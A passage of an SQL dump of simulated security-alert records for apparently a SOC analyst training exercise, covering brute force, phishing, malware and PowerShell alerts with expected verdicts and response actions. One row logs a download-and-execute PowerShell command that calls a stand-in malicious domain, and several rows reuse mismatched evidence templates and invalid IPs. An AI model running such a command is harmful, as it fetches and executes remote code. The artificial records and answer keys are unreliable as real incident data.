Host\",\"scenario\":{\"ip\":\"162.113.139.213\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(243, 'Critical RDP Brute Force Attack Detected', 'critical', 'Firewall', 'Multiple failed RDP login attempts were detected from a single external IP address, indicating a brute force attack. This pattern of behavior is consistent with tactics outlined in cybersecurity incidents, such as the worldwide brute force attacks on RDP services in 2021.', 'Brute Force', 'T1110', 1, 'investigating', 225, '{\"timestamp\":\"2023-10-24T18:35:24Z\",\"src_ip\":\"192.168.1.25\",\"dest_ip\":\"10.0.0.4\",\"attempt_count\":45,\"usernames_attempted\":[\"admin\",\"guest\",\"user1\"],\"protocol\":\"RDP\",\"event\":\"Failed login attempt\",\"firewall_id\":\"fw-12345678\",\"region\":\"us-west-2\",\"request_id\":\"req-abc123\",\"message\":\"Login failed due to incorrect credentials\",\"related_events\":[{\"timestamp\":\"2023-10-24T18:32:03Z\",\"src_ip\":\"192.168.1.25\",\"event\":\"Login attempt\"},{\"timestamp\":\"2023-10-24T18:34:16Z\",\"src_ip\":\"192.168.1.25\",\"event\":\"Connection established\"}],\"geo_location\":{\"country\":\"Unknown\",\"region\":\"Unknown\"}}', '2025-12-27 05:00:06', '2026-03-16 02:59:05', NULL, 'Advanced', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(244, 'Malware Detected on Endpoint via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process execution was detected on an internal machine, indicating potential malware activity. The process was associated with a known malicious hash.', 'Malware', 'T1059', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":null,\"username\":\"jdoe\",\"hostname\":\"workstation-1\",\"file_hash\":\"3f5d2c7e1d4b8f9a6a7f8b2d3a4c5d6e\",\"process_name\":\"malicious.exe\"}', '2025-12-27 15:13:22', '2026-03-15 17:03:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f5d2c7e1d4b8f9a6a7f8b2d3a4c5d6e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware reports\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Valid internal user account\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious file hash on an internal machine, executed by a suspicious process, confirms this as a true malware incident.\"}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(245, 'Malware Detected - Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious executable was detected running on the host, potentially indicating malware activity. The process attempted to connect to a known malicious C2 server.', 'Malware', 'T1059', 1, 'investigating', 232, '{\"timestamp\":\"2023-10-05T14:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2025-12-29 00:07:31', '2026-03-15 17:12:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as Trojan by 45 AV vendors\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The hash and external IP both have malicious indicators, confirming the detection of malware.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(246, 'Phishing Attempt Detected - Malicious Email Link', 'medium', 'Proofpoint', 'A phishing email was received containing a malicious link attempting to harvest credentials. The sender\'s domain is known for phishing activities.', 'Phishing', 'T1566', 1, 'investigating', 232, '{\"timestamp\":\"2023-10-05T09:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.10\",\"email_sender\":\"phisher@example.com\",\"url\":\"http://malicious-site.com/login\",\"username\":\"asmith\"}', '2025-12-28 12:31:27', '2026-03-15 18:05:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Domain frequently used in phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Site flagged for credential phishing\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with spam and phishing\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Both the sender\'s email and the URL are flagged as malicious, confirming a phishing attempt.\"}', 'Beginner', 'SIEM', 1, 0, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected - Malicious Email Link\",\"date\":\"2026-02-01T20:32:18.842Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(247, 'Brute Force Attack Detected - Multiple Failed Logins', 'critical', 'Wazuh', 'Multiple failed login attempts detected, indicating a possible brute force attack. The source IP is from a foreign country with a history of attacks.', 'Brute Force', 'T1110', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-05T17:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.1.10\",\"username\":\"administrator\",\"failed_attempts\":45}', '2025-12-28 11:20:25', '2026-03-07 14:21:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"Shodan\",\"verdict\":\"malicious\",\"details\":\"IP known for brute force attack attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address targeted by brute force\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed attempts from a malicious IP confirms a brute force attack.\"}', 'Advanced', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.843Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-02-01T20:31:18.843Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-02-01T20:30:18.843Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-02-01T20:29:18.843Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-02-01T20:28:18.843Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(248, 'Suspicious Network Traffic - False Positive', 'low', 'Firewall', 'Network traffic was detected from a known cloud provider IP, initially flagged as suspicious. Further investigation reveals it to be legitimate.', 'Network Anomaly', 'T1071', 0, 'investigating', 232, '{\"timestamp\":\"2023-10-05T11:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.120\",\"dst_ip\":\"192.168.1.50\",\"username\":\"n/a\",\"hostname\":\"SERVER-1\"}', '2025-12-28 01:16:06', '2026-03-15 15:44:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"IPInfo\",\"verdict\":\"clean\",\"details\":\"IP belongs to a reputable cloud service provider\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legitimate server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The source IP is from a legitimate cloud provider, reducing the likelihood of malicious intent.\"}', 'Beginner', 'NDR', 1, 0, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(249, 'Suspicious PowerShell Command Execution Detected', 'high', 'endpoint', 'A suspicious PowerShell command that could potentially allow remote code execution or credential dumping was detected on an endpoint.', 'Execution', 'T1086', 1, 'investigating', 232, '{\"log_type\":\"process_creation\",\"timestamp\":\"2023-10-12T14:22:09Z\",\"hostname\":\"Corporate-Laptop-04\",\"username\":\"jdoe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell -nop -c \\\"iex (New-Object Net.WebClient).DownloadString(\'http://maliciousdomain.com/script.ps1\')\\\"\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":4821,\"process_id\":9342,\"integrity_level\":\"High\",\"network_activity\":[{\"protocol\":\"HTTP\",\"dest_ip\":\"192.168.1.105\",\"dest_port\":80,\"url\":\"http://maliciousdomain.com/script.ps1\"}]}', '2025-12-28 05:40:53', '2026-03-15 18:14:41', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate Host\",\"scenario\":{\"ip\":\"253.135.96.33\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(250, 'Suspicious PowerShell Command Execution Detected', 'medium', 'process', 'A PowerShell script was executed with encoded commands which is commonly used to obfuscate malicious scripts.', 'Behavioral Anomaly', 'T1086', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-23T14:25:36Z\",\"host_name\":\"HR-DESKTOP-07\",\"user_name\":\"j.smith\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBy\\nYW5kb20gdGV4dF0NCmVjaG8gIlRoaXMgaXMgYSB0ZXN0LiI=\",\"file_hash\":\"3fa4cd6c63168b1eae1f3116ce3f789a175c3abe\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":3452,\"process_id\":6784,\"integrity_level\":\"High\",\"src_ip\":\"192.168.10.23\",\"geo_location\":\"\",\"event_id\":4688,\"logon_type\":2}', '2025-12-28 05:25:32', '2026-02-17 22:34:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"61.243.64.122\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP 61.243.64.122 has 0% abuse confidence score. Located in corporate network range.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User accessed from known location during normal business hours. Activity consistent with role.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(251, 'Suspicious Network Activity Detected: Potential Data Exfiltration', 'high', 'network', 'Unusual outbound network activity detected, with large volumes of data being transferred to an unknown external IP address over an atypical port.', 'data_exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-11-01T14:23:45Z\",\"src_ip\":\"192.168.1.10\",\"dest_ip\":\"203.0.113.54\",\"src_port\":49876,\"dest_port\":8080,\"protocol\":\"TCP\",\"bytes_sent\":87000000,\"bytes_received\":1240,\"session_duration_sec\":3600,\"flags\":\"SYN,ACK\",\"geoip\":{\"country\":\"Unknown\",\"city\":\"Unknown\"},\"user_agent\":\"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\",\"anomalies\":[\"Unusual port communication\",\"High data transfer volume\"],\"event_id\":\"net-20231101-42345\"}', '2025-12-28 05:42:26', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"237.158.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 237.158.1.45 reported 452 times for malicious activity. Abuse confidence score: 86%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Intermediate', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(252, 'Successful Login with Previously Compromised Credentials', 'high', 'Authentication Logs', 'An unauthorized login attempt was detected and successfully executed using credentials associated with a known compromised email. This alert aligns with an attack pattern observed in the Acme Corp breach of August 2023, where attackers used publicly available credentials to infiltrate user accounts.', 'Credential Access', 'T1078', 1, 'resolved', 95, '{\"timestamp\":\"2023-10-11T13:45:23Z\",\"event_source\":\"Authentication Logs\",\"event_id\":\"401\",\"username\":\"j.doe@examplecorp.com\",\"ip_address\":\"192.0.2.123\",\"location\":\"Toronto, Canada\",\"login_status\":\"Success\",\"authentication_method\":\"Password\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36\",\"previous_compromise\":\"yes\",\"related_event_ids\":[\"ACME-20230815-0423\"],\"risk_score\":85,\"request_id\":\"req-123456789\"}', '2025-12-28 05:00:05', '2026-02-16 02:40:52', NULL, 'Intermediate', 'SIEM', 1, 0, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(253, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A PowerShell script was executed on a host, which is often used by attackers to download and execute malware. Analysis revealed the script attempted to communicate with a known malicious server.', 'Malware', 'T1059', 1, 'Closed', 141, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"file_hash\":\"abc123def456ghi789jkl012mno345pq\",\"domain\":\"malicious-example.com\"}', '2025-12-28 17:13:32', '2026-02-12 04:18:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abc123def456ghi789jkl012mno345pq\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash found in 12 AV engines detecting it as a trojan\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell execution with outbound connection to a known malicious IP indicates a malware attempt.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(254, 'Credential Phishing Attempt via Email', 'critical', 'Proofpoint', 'An email was received from a spoofed domain attempting to trick users into providing credentials by clicking a malicious link.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-02T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.55\",\"username\":\"asmith\",\"hostname\":\"MAILSERVER\",\"email_sender\":\"no-reply@secure-login.com\",\"url\":\"http://malicious-link.com/login\"}', '2025-12-28 17:13:32', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the email recipient\'s server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email with a known phishing URL and spoofed sender suggests a credential phishing attempt.\"}', 'Advanced', 'SIEM', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Credential Phishing Attempt via Email\",\"date\":\"2026-02-01T20:32:18.850Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
